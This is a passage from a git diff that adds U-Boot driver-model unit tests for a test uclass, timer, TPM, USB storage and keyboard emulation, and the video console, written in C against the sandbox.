+ uc_pdata = dev_get_uclass_plat(dev);
+ ut_assert(uc_pdata);
+
+ uc_pdata->intval1 = TEST_UC_PDATA_INTVAL1;
+ uc_pdata->intval2 = TEST_UC_PDATA_INTVAL2;
+ uc_pdata->intval3 = TEST_UC_PDATA_INTVAL3;
+
+ return 0;
+}
+
+static int test_pre_unbind(struct udevice *dev)
+{
+ dm_testdrv_op_count[DM_TEST_OP_PRE_UNBIND]++;
+
+ return 0;
+}
+
+static int test_pre_probe(struct udevice *dev)
+{
+ struct dm_test_uclass_perdev_priv *priv = dev_get_uclass_priv(dev);
+ struct unit_test_state *uts = test_get_state();
+
+ dm_testdrv_op_count[DM_TEST_OP_PRE_PROBE]++;
+ ut_assert(priv);
+ ut_assert(device_active(dev));
+
+ return 0;
+}
+
+static int test_post_probe(struct udevice *dev)
+{
+ struct unit_test_state *uts = test_get_state();
+ struct udevice *prev = list_entry(dev->uclass_node.prev,
+ struct udevice, uclass_node);
+
+ struct dm_test_uclass_perdev_priv *priv = dev_get_uclass_priv(dev);
+ struct uclass *uc = dev->uclass;
+
+ dm_testdrv_op_count[DM_TEST_OP_POST_PROBE]++;
+ ut_assert(priv);
+ ut_assert(device_active(dev));
+ priv->base_add = 0;
+ if (uts->skip_post_probe)
+ return 0;
+ if (&prev->uclass_node != &uc->dev_head) {
+ struct dm_test_uclass_perdev_priv *prev_uc_priv
+ = dev_get_uclass_priv(prev);
+ struct dm_test_pdata *pdata = dev_get_plat(prev);
+
+ ut_assert(pdata);
+ ut_assert(prev_uc_priv);
+ priv->base_add = prev_uc_priv->base_add + pdata->ping_add;
+ }
+
+ return 0;
+}
+
+static int test_pre_remove(struct udevice *dev)
+{
+ dm_testdrv_op_count[DM_TEST_OP_PRE_REMOVE]++;
+
+ return 0;
+}
+
+static int test_init(struct uclass *uc)
+{
+ struct unit_test_state *uts = test_get_state();
+
+ dm_testdrv_op_count[DM_TEST_OP_INIT]++;
+ ut_assert(uclass_get_priv(uc));
+
+ return 0;
+}
+
+static int test_destroy(struct uclass *uc)
+{
+ dm_testdrv_op_count[DM_TEST_OP_DESTROY]++;
+
+ return 0;
+}
+
+UCLASS_DRIVER(test) = {
+ .name = "test",
+ .id = UCLASS_TEST,
+ .post_bind = test_post_bind,
+ .pre_unbind = test_pre_unbind,
+ .pre_probe = test_pre_probe,
+ .post_probe = test_post_probe,
+ .pre_remove = test_pre_remove,
+ .init = test_init,
+ .destroy = test_destroy,
+ .priv_auto = sizeof(struct dm_test_uclass_priv),
+ .per_device_auto = sizeof(struct dm_test_uclass_perdev_priv),
+ .per_device_plat_auto = sizeof(struct dm_test_perdev_uc_pdata),
+};
diff --git a/test/dm/timer.c b/test/dm/timer.c
new file mode 100644
index 00000000000..7fcefc42e59
--- /dev/null
+++ b/test/dm/timer.c
@@ -0,0 +1,49 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2015 Thomas Chou <thomas@wytron.com.tw>
+ */
+
+#include <dm.h>
+#include <timer.h>
+#include <dm/test.h>
+#include <dm/device-internal.h>
+#include <test/test.h>
+#include <test/ut.h>
+#include <asm/cpu.h>
+
+/*
+ * Basic test of the timer uclass.
+ */
+static int dm_test_timer_base(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_TIMER, "timer@0", &dev));
+ ut_asserteq(1000000, timer_get_rate(dev));
+
+ return 0;
+}
+DM_TEST(dm_test_timer_base, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/*
+ * Test of timebase fallback
+ */
+static int dm_test_timer_timebase_fallback(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ cpu_sandbox_set_current("cpu@1");
+ ut_assertok(uclass_get_device_by_name(UCLASS_TIMER, "timer@1", &dev));
+ ut_asserteq(3000000, timer_get_rate(dev));
+ ut_assertok(device_remove(dev, DM_REMOVE_NORMAL));
+
+ cpu_sandbox_set_current("cpu@2");
+ ut_assertok(uclass_get_device_by_name(UCLASS_TIMER, "timer@1", &dev));
+ ut_asserteq(2000000, timer_get_rate(dev));
+
+ cpu_sandbox_set_current("cpu@1");
+
+ return 0;
+}
+DM_TEST(dm_test_timer_timebase_fallback,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/tpm.c b/test/dm/tpm.c
new file mode 100644
index 00000000000..0e413c0eedd
--- /dev/null
+++ b/test/dm/tpm.c
@@ -0,0 +1,126 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright 2022 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <dm.h>
+#include <tpm_api.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/*
+ * get_tpm_version() - Get a TPM of the given version
+ *
+ * @version: Version to get
+ * @devp: Returns the TPM device
+ * Returns: 0 if OK, -ENODEV if not found
+ */
+static int get_tpm_version(enum tpm_version version, struct udevice **devp)
+{
+ struct udevice *dev;
+
+ /*
+ * For now we have to probe each TPM, since the version is set up in
+ * of_to_plat(). We could require TPMs to declare their version when
+ * probed, to avoid this
+ */
+ uclass_foreach_dev_probe(UCLASS_TPM, dev) {
+ if (tpm_get_version(dev) == version) {
+ *devp = dev;
+ return 0;
+ }
+ }
+
+ return -ENODEV;
+}
+
+/* Basic test of initing a TPM */
+static int test_tpm_init(struct unit_test_state *uts, enum tpm_version version)
+{
+ struct udevice *dev;
+
+ /* check probe success */
+ ut_assertok(get_tpm_version(version, &dev));
+
+ ut_assertok(tpm_init(dev));
+
+ return 0;
+}
+
+static int dm_test_tpm(struct unit_test_state *uts)
+{
+ ut_assertok(test_tpm_init(uts, TPM_V1));
+ ut_assertok(test_tpm_init(uts, TPM_V2));
+
+ return 0;
+}
+DM_TEST(dm_test_tpm, UT_TESTF_SCAN_FDT);
+
+/* Test report_state */
+static int dm_test_tpm_report_state(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ char buf[50];
+
+ /* check probe success */
+ ut_assertok(get_tpm_version(TPM_V2, &dev));
+
+ ut_assert(tpm_report_state(dev, buf, sizeof(buf)));
+ ut_asserteq_str("init_done=0", buf);
+
+ ut_assertok(tpm_auto_start(dev));
+
+ ut_assert(tpm_report_state(dev, buf, sizeof(buf)));
+ ut_asserteq_str("init_done=1", buf);
+
+ return 0;
+}
+DM_TEST(dm_test_tpm_report_state, UT_TESTF_SCAN_FDT);
+
+/**
+ * test_tpm_autostart() - check the tpm_auto_start() call
+ *
+ * @uts: Unit test state
+ * @version: TPM version to use
+ * @reinit: true to call tpm_init() first
+ * Returns 0 if OK, non-zero on failure
+ */
+static int test_tpm_autostart(struct unit_test_state *uts,
+ enum tpm_version version, bool reinit)
+{
+ struct udevice *dev;
+
+ /* check probe success */
+ ut_assertok(get_tpm_version(version, &dev));
+
+ if (reinit)
+ ut_assertok(tpm_init(dev));
+
+ /*
+ * tpm_auto_start will rerun tpm_init() if reinit, but handles the
+ * -EBUSY return code internally.
+ */
+ ut_assertok(tpm_auto_start(dev));
+
+ return 0;
+}
+
+static int dm_test_tpm_autostart(struct unit_test_state *uts)
+{
+ ut_assertok(test_tpm_autostart(uts, TPM_V1, false));
+ ut_assertok(test_tpm_autostart(uts, TPM_V2, false));
+
+ return 0;
+}
+DM_TEST(dm_test_tpm_autostart, UT_TESTF_SCAN_FDT);
+
+static int dm_test_tpm_autostart_reinit(struct unit_test_state *uts)
+{
+ ut_assertok(test_tpm_autostart(uts, TPM_V1, true));
+ ut_assertok(test_tpm_autostart(uts, TPM_V2, true));
+
+ return 0;
+}
+DM_TEST(dm_test_tpm_autostart_reinit, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/usb.c b/test/dm/usb.c
new file mode 100644
index 00000000000..9a571938b81
--- /dev/null
+++ b/test/dm/usb.c
@@ -0,0 +1,459 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2015 Google, Inc
+ */
+
+#include <console.h>
+#include <dm.h>
+#include <part.h>
+#include <usb.h>
+#include <asm/io.h>
+#include <asm/state.h>
+#include <asm/test.h>
+#include <dm/device-internal.h>
+#include <dm/test.h>
+#include <dm/uclass-internal.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+struct keyboard_test_data {
+ const char modifiers;
+ const char scancode;
+ const char result[6];
+};
+
+/* Test that sandbox USB works correctly */
+static int dm_test_usb_base(struct unit_test_state *uts)
+{
+ struct udevice *bus;
+
+ ut_asserteq(-ENODEV, uclass_get_device_by_seq(UCLASS_USB, 0, &bus));
+ ut_assertok(uclass_get_device(UCLASS_USB, 0, &bus));
+ ut_asserteq(-ENODEV, uclass_get_device_by_seq(UCLASS_USB, 2, &bus));
+
+ return 0;
+}
+DM_TEST(dm_test_usb_base, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/*
+ * Test that we can use the flash stick. This is more of a functional test. It
+ * covers scanning the bug, setting up a hub and a flash stick and reading
+ * data from the flash stick.
+ */
+static int dm_test_usb_flash(struct unit_test_state *uts)
+{
+ struct blk_desc *dev_desc, *chk;
+ struct udevice *dev, *blk;
+ char cmp[1024];
+
+ state_set_skip_delays(true);
+ ut_assertok(usb_init());
+ ut_assertok(uclass_get_device(UCLASS_MASS_STORAGE, 0, &dev));
+ ut_assertok(blk_get_device_by_str("usb", "0", &dev_desc));
+ chk = blk_get_by_device(dev);
+ ut_asserteq_ptr(chk, dev_desc);
+
+ ut_assertok(device_find_first_child_by_uclass(dev, UCLASS_BLK, &blk));
+ ut_asserteq_ptr(chk, blk_get_by_device(dev));
+
+ /* Read a few blocks and look for the string we expect */
+ ut_asserteq(512, dev_desc->blksz);
+ memset(cmp, '\0', sizeof(cmp));
+ ut_asserteq(2, blk_read(blk, 0, 2, cmp));
+ ut_asserteq_str("this is a test", cmp);
+
+ strcpy(cmp, "another test");
+ ut_asserteq(1, blk_write(blk, 1, 1, cmp));
+
+ memset(cmp, '\0', sizeof(cmp));
+ ut_asserteq(2, blk_read(blk, 0, 2, cmp));
+ ut_asserteq_str("this is a test", cmp);
+ ut_asserteq_str("another test", cmp + 512);
+
+ memset(cmp, '\0', sizeof(cmp));
+ ut_asserteq(1, blk_write(blk, 1, 1, cmp));
+
+ memset(cmp, '\0', sizeof(cmp));
+ ut_asserteq(2, blk_read(blk, 0, 2, cmp));
+ ut_asserteq_str("this is a test", cmp);
+ ut_asserteq_str("", cmp + 512);
+
+ ut_assertok(usb_stop());
+
+ return 0;
+}
+DM_TEST(dm_test_usb_flash, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* test that we can handle multiple storage devices */
+static int dm_test_usb_multi(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ state_set_skip_delays(true);
+ ut_assertok(usb_init());
+ ut_assertok(uclass_get_device(UCLASS_MASS_STORAGE, 0, &dev));
+ ut_assertok(uclass_get_device(UCLASS_MASS_STORAGE, 1, &dev));
+ ut_assertok(uclass_get_device(UCLASS_MASS_STORAGE, 2, &dev));
+ ut_assertok(usb_stop());
+
+ return 0;
+}
+DM_TEST(dm_test_usb_multi, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* test that we have an associated ofnode with the usb device */
+static int dm_test_usb_fdt_node(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ ofnode node;
+
+ state_set_skip_delays(true);
+ ut_assertok(usb_init());
+ ut_assertok(uclass_get_device(UCLASS_MASS_STORAGE, 0, &dev));
+ node = ofnode_path("/usb@1/hub/usbstor@1");
+ ut_asserteq(1, ofnode_equal(node, dev_ofnode(dev)));
+ ut_assertok(uclass_get_device(UCLASS_MASS_STORAGE, 1, &dev));
+ ut_asserteq(1, ofnode_equal(ofnode_null(), dev_ofnode(dev)));
+ ut_assertok(uclass_get_device(UCLASS_MASS_STORAGE, 2, &dev));
+ node = ofnode_path("/usb@1/hub/usbstor@3");
+ ut_asserteq(1, ofnode_equal(node, dev_ofnode(dev)));
+ ut_assertok(usb_stop());
+
+ return 0;
+}
+DM_TEST(dm_test_usb_fdt_node, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int count_usb_devices(void)
+{
+ struct udevice *hub;
+ struct uclass *uc;
+ int count = 0;
+ int ret;
+
+ ret = uclass_get(UCLASS_USB_HUB, &uc);
+ if (ret)
+ return ret;
+
+ uclass_foreach_dev(hub, uc) {
+ struct udevice *dev;
+
+ count++;
+ for (device_find_first_child(hub, &dev);
+ dev;
+ device_find_next_child(&dev)) {
+ count++;
+ }
+ }
+
+ return count;
+}
+
+/* test that no USB devices are found after we stop the stack */
+static int dm_test_usb_stop(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ /* Scan and check that all devices are present */
+ state_set_skip_delays(true);
+ ut_assertok(usb_init());
+ ut_assertok(uclass_get_device(UCLASS_MASS_STORAGE, 0, &dev));
+ ut_assertok(uclass_get_device(UCLASS_MASS_STORAGE, 1, &dev));
+ ut_assertok(uclass_get_device(UCLASS_MASS_STORAGE, 2, &dev));
+ ut_asserteq(6, count_usb_devices());
+ ut_assertok(usb_stop());
+ ut_asserteq(0, count_usb_devices());
+
+ return 0;
+}
+DM_TEST(dm_test_usb_stop, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/**
+ * dm_test_usb_keyb() - test USB keyboard driver
+ *
+ * This test copies USB keyboard scan codes into the key buffer of the USB
+ * keyboard emulation driver. These are picked up during emulated interrupts
+ * by the USB keyboard driver and converted to characters and escape sequences.
+ * The test then reads and verifies these characters and escape sequences from
+ * the standard input.
+ *
+ * TODO: The following features are not yet tested:
+ *
+ * * LED status
+ * * caps-lock
+ * * num-lock
+ * * numerical pad keys
+ *
+ * TODO: The following features are not yet implemented by the USB keyboard
+ * driver and therefore not tested:
+ *
+ * * modifiers for non-alpha-numeric keys, e.g. <SHIFT><TAB> and <ALT><F4>
+ * * some special keys, e.g. <PRINT>
+ * * some modifiers, e.g. <ALT> and <META>
+ * * alternative keyboard layouts
+ *
+ * @uts: unit test state
+ * Return: 0 on success
+ */
+static int dm_test_usb_keyb(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ const struct keyboard_test_data *pos;
+ const struct keyboard_test_data kbd_test_data[] = {
+ /* <A> */
+ {0x00, 0x04, "a"},
+ /* <B> */
+ {0x00, 0x05, "b"},
+ /* <C> */
+ {0x00, 0x06, "c"},
+ /* <D> */
+ {0x00, 0x07, "d"},
+ /* <E> */
+ {0x00, 0x08, "e"},
+ /* <F> */
+ {0x00, 0x09, "f"},
+ /* <G> */
+ {0x00, 0x0a, "g"},
+ /* <H> */
+ {0x00, 0x0b, "h"},
+ /* <I> */
+ {0x00, 0x0c, "i"},
+ /* <J> */
+ {0x00, 0x0d, "j"},
+ /* <K> */
+ {0x00, 0x0e, "k"},
+ /* <L> */
+ {0x00, 0x0f, "l"},
+ /* <M> */
+ {0x00, 0x10, "m"},
+ /* <N> */
+ {0x00, 0x11, "n"},
+ /* <O> */
+ {0x00, 0x12, "o"},
+ /* <P> */
+ {0x00, 0x13, "p"},
+ /* <Q> */
+ {0x00, 0x14, "q"},
+ /* <R> */
+ {0x00, 0x15, "r"},
+ /* <S> */
+ {0x00, 0x16, "s"},
+ /* <T> */
+ {0x00, 0x17, "t"},
+ /* <U> */
+ {0x00, 0x18, "u"},
+ /* <V> */
+ {0x00, 0x19, "v"},
+ /* <W> */
+ {0x00, 0x1a, "w"},
+ /* <X> */
+ {0x00, 0x1b, "x"},
+ /* <Y> */
+ {0x00, 0x1c, "y"},
+ /* <Z> */
+ {0x00, 0x1d, "z"},
+
+ /* <LEFT-SHIFT><A> */
+ {0x02, 0x04, "A"},
+ /* <RIGHT-SHIFT><Z> */
+ {0x20, 0x1d, "Z"},
+
+ /* <LEFT-CONTROL><A> */
+ {0x01, 0x04, "\x01"},
+ /* <RIGHT-CONTROL><Z> */
+ {0x10, 0x1d, "\x1a"},
+
+ /* <1> */
+ {0x00, 0x1e, "1"},
+ /* <2> */
+ {0x00, 0x1f, "2"},
+ /* <3> */
+ {0x00, 0x20, "3"},
+ /* <4> */
+ {0x00, 0x21, "4"},
+ /* <5> */
+ {0x00, 0x22, "5"},
+ /* <6> */
+ {0x00, 0x23, "6"},
+ /* <7> */
+ {0x00, 0x24, "7"},
+ /* <8> */
+ {0x00, 0x25, "8"},
+ /* <9> */
+ {0x00, 0x26, "9"},
+ /* <0> */
+ {0x00, 0x27, "0"},
+
+ /* <LEFT-SHIFT><1> */
+ {0x02, 0x1e, "!"},
+ /* <RIGHT-SHIFT><2> */
+ {0x20, 0x1f, "@"},
+ /* <LEFT-SHIFT><3> */
+ {0x02, 0x20, "#"},
+ /* <RIGHT-SHIFT><4> */
+ {0x20, 0x21, "$"},
+ /* <LEFT-SHIFT><5> */
+ {0x02, 0x22, "%"},
+ /* <RIGHT-SHIFT><6> */
+ {0x20, 0x23, "^"},
+ /* <LEFT-SHIFT><7> */
+ {0x02, 0x24, "&"},
+ /* <RIGHT-SHIFT><8> */
+ {0x20, 0x25, "*"},
+ /* <LEFT-SHIFT><9> */
+ {0x02, 0x26, "("},
+ /* <RIGHT-SHIFT><0> */
+ {0x20, 0x27, ")"},
+
+ /* <ENTER> */
+ {0x00, 0x28, "\r"},
+ /* <ESCAPE> */
+ {0x00, 0x29, "\x1b"},
+ /* <BACKSPACE> */
+ {0x00, 0x2a, "\x08"},
+ /* <TAB> */
+ {0x00, 0x2b, "\x09"},
+ /* <SPACE> */
+ {0x00, 0x2c, " "},
+ /* <MINUS> */
+ {0x00, 0x2d, "-"},
+ /* <EQUAL> */
+ {0x00, 0x2e, "="},
+ /* <LEFT BRACE> */
+ {0x00, 0x2f, "["},
+ /* <RIGHT BRACE> */
+ {0x00, 0x30, "]"},
+ /* <BACKSLASH> */
+ {0x00, 0x31, "\\"},
+ /* <HASH-TILDE> */
+ {0x00, 0x32, "#"},
+ /* <SEMICOLON> */
+ {0x00, 0x33, ";"},
+ /* <APOSTROPHE> */
+ {0x00, 0x34, "'"},
+ /* <GRAVE> */
+ {0x00, 0x35, "`"},
+ /* <COMMA> */
+ {0x00, 0x36, ","},
+ /* <DOT> */
+ {0x00, 0x37, "."},
+ /* <SLASH> */
+ {0x00, 0x38, "/"},
+
+ /* <LEFT-SHIFT><ENTER> */
+ {0x02, 0x28, "\r"},
+ /* <RIGHT-SHIFT><ESCAPE> */
+ {0x20, 0x29, "\x1b"},
+ /* <LEFT-SHIFT><BACKSPACE> */
+ {0x02, 0x2a, "\x08"},
+ /* <RIGHT-SHIFT><TAB> */
+ {0x20, 0x2b, "\x09"},
+ /* <LEFT-SHIFT><SPACE> */
+ {0x02, 0x2c, " "},
+ /* <MINUS> */
+ {0x20, 0x2d, "_"},
+ /* <LEFT-SHIFT><EQUAL> */
+ {0x02, 0x2e, "+"},
+ /* <RIGHT-SHIFT><LEFT BRACE> */
+ {0x20, 0x2f, "{"},
+ /* <LEFT-SHIFT><RIGHT BRACE> */
+ {0x02, 0x30, "}"},
+ /* <RIGHT-SHIFT><BACKSLASH> */
+ {0x20, 0x31, "|"},
+ /* <LEFT-SHIFT><HASH-TILDE> */
+ {0x02, 0x32, "~"},
+ /* <RIGHT-SHIFT><SEMICOLON> */
+ {0x20, 0x33, ":"},
+ /* <LEFT-SHIFT><APOSTROPHE> */
+ {0x02, 0x34, "\""},
+ /* <RIGHT-SHIFT><GRAVE> */
+ {0x20, 0x35, "~"},
+ /* <LEFT-SHIFT><COMMA> */
+ {0x02, 0x36, "<"},
+ /* <RIGHT-SHIFT><DOT> */
+ {0x20, 0x37, ">"},
+ /* <LEFT-SHIFT><SLASH> */
+ {0x02, 0x38, "?"},
+#ifdef CONFIG_USB_KEYBOARD_FN_KEYS
+ /* <F1> */
+ {0x00, 0x3a, "\x1bOP"},
+ /* <F2> */
+ {0x00, 0x3b, "\x1bOQ"},
+ /* <F3> */
+ {0x00, 0x3c, "\x1bOR"},
+ /* <F4> */
+ {0x00, 0x3d, "\x1bOS"},
+ /* <F5> */
+ {0x00, 0x3e, "\x1b[15~"},
+ /* <F6> */
+ {0x00, 0x3f, "\x1b[17~"},
+ /* <F7> */
+ {0x00, 0x40, "\x1b[18~"},
+ /* <F8> */
+ {0x00, 0x41, "\x1b[19~"},
+ /* <F9> */
+ {0x00, 0x42, "\x1b[20~"},
+ /* <F10> */
+ {0x00, 0x43, "\x1b[21~"},
+ /* <F11> */
+ {0x00, 0x44, "\x1b[23~"},
+ /* <F12> */
+ {0x00, 0x45, "\x1b[24~"},
+ /* <INSERT> */
+ {0x00, 0x49, "\x1b[2~"},
+ /* <HOME> */
+ {0x00, 0x4a, "\x1b[H"},
+ /* <PAGE UP> */
+ {0x00, 0x4b, "\x1b[5~"},
+ /* <DELETE> */
+ {0x00, 0x4c, "\x1b[3~"},
+ /* <END> */
+ {0x00, 0x4d, "\x1b[F"},
+ /* <PAGE DOWN> */
+ {0x00, 0x4e, "\x1b[6~"},
+ /* <RIGHT> */
+ {0x00, 0x4f, "\x1b[C"},
+ /* <LEFT> */
+ {0x00, 0x50, "\x1b[D"},
+ /* <DOWN> */
+ {0x00, 0x51, "\x1b[B"},
+ /* <UP> */
+ {0x00, 0x52, "\x1b[A"},
+#endif /* CONFIG_USB_KEYBOARD_FN_KEYS */
+
+ /* End of list */
+ {0x00, 0x00, "\0"}
+ };
+
+
+ state_set_skip_delays(true);
+ ut_assertok(usb_init());
+
+ /* Initially there should be no characters */
+ ut_asserteq(0, tstc());
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_USB_EMUL, "keyb@3",
+ &dev));
+
+ /*
+ * Add scan codes to the USB keyboard buffer. They should appear as
+ * corresponding characters and escape sequences in stdin.
+ */
+ for (pos = kbd_test_data; pos->scancode; ++pos) {
+ const char *c;
+ char scancodes[USB_KBD_BOOT_REPORT_SIZE] = {0};
+
+ scancodes[0] = pos->modifiers;
+ scancodes[2] = pos->scancode;
+
+ ut_assertok(sandbox_usb_keyb_add_string(dev, scancodes));
+
+ for (c = pos->result; *c; ++c) {
+ ut_asserteq(1, tstc());
+ ut_asserteq(*c, getchar());
+ }
+ ut_asserteq(0, tstc());
+ }
+ ut_assertok(usb_stop());
+
+ return 0;
+}
+DM_TEST(dm_test_usb_keyb, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/video.c b/test/dm/video.c
new file mode 100644
index 00000000000..7dfbeb9555d
--- /dev/null
+++ b/test/dm/video.c
@@ -0,0 +1,605 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2014 Google, Inc
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <bzlib.h>
+#include <dm.h>
+#include <gzip.h>
+#include <log.h>
+#include <malloc.h>
+#include <mapmem.h>
+#include <os.h>
+#include <video.h>
+#include <video_console.h>
+#include <asm/test.h>
+#include <asm/sdl.h>
+#include <dm/test.h>
+#include <dm/uclass-internal.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/*
+ * These tests use the standard sandbox frame buffer, the resolution of which
+ * is defined in the device tree. This only supports 16bpp so the tests only
+ * test that code path. It would be possible to adjust this fairly easily,
+ * by adjusting the bpix value in struct sandbox_sdl_plat. However the code
+ * in sandbox_sdl_sync() would also need to change to handle the different
+ * surface depth.
+ */
+/* Basic test of the video uclass */
+static int dm_test_video_base(struct unit_test_state *uts)
+{
+ struct video_priv *priv;
+ struct udevice *dev;
+
+ ut_assertok(uclass_get_device(UCLASS_VIDEO, 0, &dev));
+ ut_asserteq(1366, video_get_xsize(dev));
+ ut_asserteq(768, video_get_ysize(dev));
+ priv = dev_get_uclass_priv(dev);
+ ut_asserteq(priv->fb_size, 1366 * 768 * 2);
+
+ return 0;
+}
+DM_TEST(dm_test_video_base, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/**
+ * compress_frame_buffer() - Compress the frame buffer and return its size
+ *
+ * We want to write tests which perform operations on the video console and
+ * check that the frame buffer ends up with the correct contents. But it is
+ * painful to store 'known good' images for comparison with the frame
+ * buffer. As an alternative, we can compress the frame buffer and check the
+ * size of the compressed data. This provides a pretty good level of
+ * certainty and the resulting tests need only check a single value.
+ *
+ * If the copy framebuffer is enabled, this compares it to the main framebuffer
+ * too.
+ *
+ * @uts: Test state
+ * @dev: Video device
+ * Return: compressed size of the frame buffer, or -ve on error
+ */
+static int compress_frame_buffer(struct unit_test_state *uts,
+ struct udevice *dev)
+{
+ struct video_priv *priv = dev_get_uclass_priv(dev);
+ struct video_priv *uc_priv = dev_get_uclass_priv(dev);
+ uint destlen;
+ void *dest;
+ int ret;
+
+ destlen = priv->fb_size;
+ dest = malloc(priv->fb_size);
+ if (!dest)
+ return -ENOMEM;
+ ret = BZ2_bzBuffToBuffCompress(dest, &destlen,
+ priv->fb, priv->fb_size,
+ 3, 0, 0);
+ free(dest);
+ if (ret)
+ return ret;
+
+ /* Check here that the copy frame buffer is working correctly */
+ if (IS_ENABLED(CONFIG_VIDEO_COPY)) {
+ ut_assertf(!memcmp(uc_priv->fb, uc_priv->copy_fb,
+ uc_priv->fb_size),
+ "Copy framebuffer does not match fb");
+ }
+
+ return destlen;
+}
+
+/*
+ * Call this function at any point to halt and show the current display. Be
+ * sure to run the test with the -l flag.
+ */
+static void __maybe_unused see_output(void)
+{
+ video_sync_all();
+ while (1);
+}
+
+/* Select the video console driver to use for a video device */
+static int select_vidconsole(struct unit_test_state *uts, const char *drv_name)
+{
+ struct sandbox_sdl_plat *plat;
+ struct udevice *dev;
+
+ ut_assertok(uclass_find_device(UCLASS_VIDEO, 0, &dev));
+ ut_assert(!device_active(dev));
+ plat = dev_get_plat(dev);
+ plat->vidconsole_drv_name = "vidconsole0";
+
+ return 0;
+}
+
+/**
+ * video_get_nologo() - Disable the logo on the video device and return it
+ *
+ * @uts: Test state
+ * @devp: Returns video device
+ * Return: 0 if OK, -ve on error
+ */
+static int video_get_nologo(struct unit_test_state *uts, struct udevice **devp)
+{
+ struct video_uc_plat *uc_plat;
+ struct udevice *dev;
+
+ ut_assertok(uclass_find_first_device(UCLASS_VIDEO, &dev));
+ ut_assertnonnull(dev);
+ uc_plat = dev_get_uclass_plat(dev);
+ uc_plat->hide_logo = true;
+
+ /* now probe it */
+ ut_assertok(uclass_first_device_err(UCLASS_VIDEO, &dev));
+ ut_assertnonnull(dev);
+ *devp = dev;
+
+ return 0;
+}
+
+/* Test text output works on the video console */
+static int dm_test_video_text(struct unit_test_state *uts)
+{
+ struct udevice *dev, *con;
+ int i;
+
+#define WHITE 0xffff
+#define SCROLL_LINES 100
+
+ ut_assertok(select_vidconsole(uts, "vidconsole0"));
+ ut_assertok(video_get_nologo(uts, &dev));
+ ut_assertok(uclass_get_device(UCLASS_VIDEO_CONSOLE, 0, &con));
+ ut_assertok(vidconsole_select_font(con, "8x16", 0));
+ ut_asserteq(46, compress_frame_buffer(uts, dev));
+
+ ut_assertok(uclass_get_device(UCLASS_VIDEO_CONSOLE, 0, &con));
+ vidconsole_putc_xy(con, 0, 0, 'a');
+ ut_asserteq(79, compress_frame_buffer(uts, dev));
+
+ vidconsole_putc_xy(con, 0, 0, ' ');
+ ut_asserteq(46, compress_frame_buffer(uts, dev));
+
+ for (i = 0; i < 20; i++)
+ vidconsole_putc_xy(con, VID_TO_POS(i * 8), 0, ' ' + i);
+ ut_asserteq(273, compress_frame_buffer(uts, dev));
+
+ vidconsole_set_row(con, 0, WHITE);
+ ut_asserteq(46, compress_frame_buffer(uts, dev));
+
+ for (i = 0; i < 20; i++)
+ vidconsole_putc_xy(con, VID_TO_POS(i * 8), 0, ' ' + i);
+ ut_asserteq(273, compress_frame_buffer(uts, dev));
+
+ return 0;
+}
+DM_TEST(dm_test_video_text, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_video_text_12x22(struct unit_test_state *uts)
+{
+ struct udevice *dev, *con;
+ int i;
+
+#define WHITE 0xffff
+#define SCROLL_LINES 100
+
+ ut_assertok(select_vidconsole(uts, "vidconsole0"));
+ ut_assertok(video_get_nologo(uts, &dev));
+ ut_assertok(uclass_get_device(UCLASS_VIDEO_CONSOLE, 0, &con));
+ ut_assertok(vidconsole_select_font(con, "12x22", 0));
+ ut_asserteq(46, compress_frame_buffer(uts, dev));
+
+ ut_assertok(uclass_get_device(UCLASS_VIDEO_CONSOLE, 0, &con));
+ vidconsole_putc_xy(con, 0, 0, 'a');
+ ut_asserteq(89, compress_frame_buffer(uts, dev));
+
+ vidconsole_putc_xy(con, 0, 0, ' ');
+ ut_asserteq(46, compress_frame_buffer(uts, dev));
+
+ for (i = 0; i < 20; i++)
+ vidconsole_putc_xy(con, VID_TO_POS(i * 8), 0, ' ' + i);
+ ut_asserteq(363, compress_frame_buffer(uts, dev));
+
+ vidconsole_set_row(con, 0, WHITE);
+ ut_asserteq(46, compress_frame_buffer(uts, dev));
+
+ for (i = 0; i < 20; i++)
+ vidconsole_putc_xy(con, VID_TO_POS(i * 8), 0, ' ' + i);
+ ut_asserteq(363, compress_frame_buffer(uts, dev));
+
+ return 0;
+}
+DM_TEST(dm_test_video_text_12x22, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test handling of special characters in the console */
+static int dm_test_video_chars(struct unit_test_state *uts)
+{
+ struct udevice *dev, *con;
+ const char *test_string = "Well\b\b\b\bxhe is\r \n\ta very \amodest \bman\n\t\tand Has much to\b\bto be modest about.";
+
+ ut_assertok(select_vidconsole(uts, "vidconsole0"));
+ ut_assertok(video_get_nologo(uts, &dev));
